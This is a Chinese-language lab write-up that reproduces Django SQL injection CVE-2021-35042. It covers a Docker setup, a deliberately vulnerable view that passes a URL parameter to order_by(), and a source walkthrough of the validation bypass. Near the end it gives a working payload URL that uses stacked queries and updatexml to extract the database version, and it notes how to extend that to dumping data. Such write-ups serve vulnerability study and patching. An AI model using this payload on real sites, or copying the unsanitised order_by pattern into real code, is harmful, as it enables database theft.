Django 是 Python 语言驱动的一个开源模型-视图-控制器(MVC)风格的 Web 应用程序框架。
漏洞影响版本:django 3.1、3.2
2021年07月01日,Django 发布了3.2.5 和 3.1.13版本,修复了Django中的一个SQL注入漏洞(CVE-2021-35042),Django建议用户尽快升级。
由于传递给QuerySet.order_by()的用户输入未经处理,攻击者可以利用这绕过标记为弃用的路径中的预期列引用验证,从而导致SQL注入。

这里我们使用docker搭建环境
docker-compose.yml 中 ports下面- "映射到物理机的端口:docker容器的端口" ,映射到物理机的端口默认为8000,如果有本机其他端口有冲突可以手动修改。
启动环境
docker-compose up -d
可以理解为url路由
from django.urls import include, path, re_pathfrom . import viewsurlpatterns = [ path('vuln/', views.vul), # 如果请求http://ip:port/vuln/ 就会交给views.py中的vul函数进行处理]处理对应http请求的函数
from django.shortcuts import HttpResponsefrom .models import Collectiondef vul(request): query = request.GET.get('order', default='id') #获取url中的order的值,如果取不到默认将"id"赋值给query q = Collection.objects.order_by(query) # 数据库查询操作 return HttpResponse(q.values()) # 将返回的数据作为响应体返回from django.db import modelsclass Collection(models.Model): name = models.CharField(max_length=128)这里出漏洞的位置是Collection.objects.order_by,这里在docker容器中不太好分析/usr/local/lib/python3.8/site-packages/django下的文件,所以我们使用pycharm下载3.1版本的django。
上面views.py中的Collection.objects.order_by 我们ctrl点击order_by查看django源码

问题点在1134行的obj.query.add_ordering(*field_names)这里传入的参数也就是上面views.py的query
def add_ordering(self, *ordering): errors = [] for item in ordering: if isinstance(item, str): if '.' in item: # 如果包含.来个警告直接continue 绕过了安全验证 warnings.warn( 'Passing column raw column aliases to order_by() is ' 'deprecated. Wrap %r in a RawSQL expression before ' 'passing it to order_by().' % item, category=RemovedInDjango40Warning, stacklevel=3, ) continue if item == '?': # 如果item完全等于?也绕过了安全验证,但是无法利用 continue if item.startswith('-'): # 如果以-开头对item进行处理,无法漏洞利用 item = item[1:] if item in self.annotations: continue if self.extra and item in self.extra: continue self.names_to_path(item.split(LOOKUP_SEP), self.model._meta) # 对参数进行安全验证 elif not hasattr(item, 'resolve_expression'): errors.append(item) if getattr(item, 'contains_aggregate', False): raise FieldError( 'Using an aggregate in order_by() without also including ' 'it in annotate() is not allowed: %s' % item ) if errors: raise FieldError('Invalid order_by arguments: %s' % errors) if ordering: self.order_by += ordering else: self.default_ordering = False最方便的还是传入的参数中包含"."这样就可以直接绕过安全验证直接去sql字符串拼接
sql语句拼接的位置
django\db\models\sql\compiler.py--->class SQLCompiler---->def get_order_by(self)

这里便利上面传下来的ordering ,这里有一个判断条件如果.在field中col没有经过处理直接丢进去了
现在其实就成了 select xxx from xxxx xxxxx orderby (这里可控);
http://ip:port/vuln/?order=vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23经过处理后就变成了下面的sql语句select xxx from xxxx xxxxx orderby (vuln_collection.name);select updatexml(1, concat(0x7e,(select @@version)),1)%23
接着查看表查看数据什么的 修改 "select @@version"这一部分即可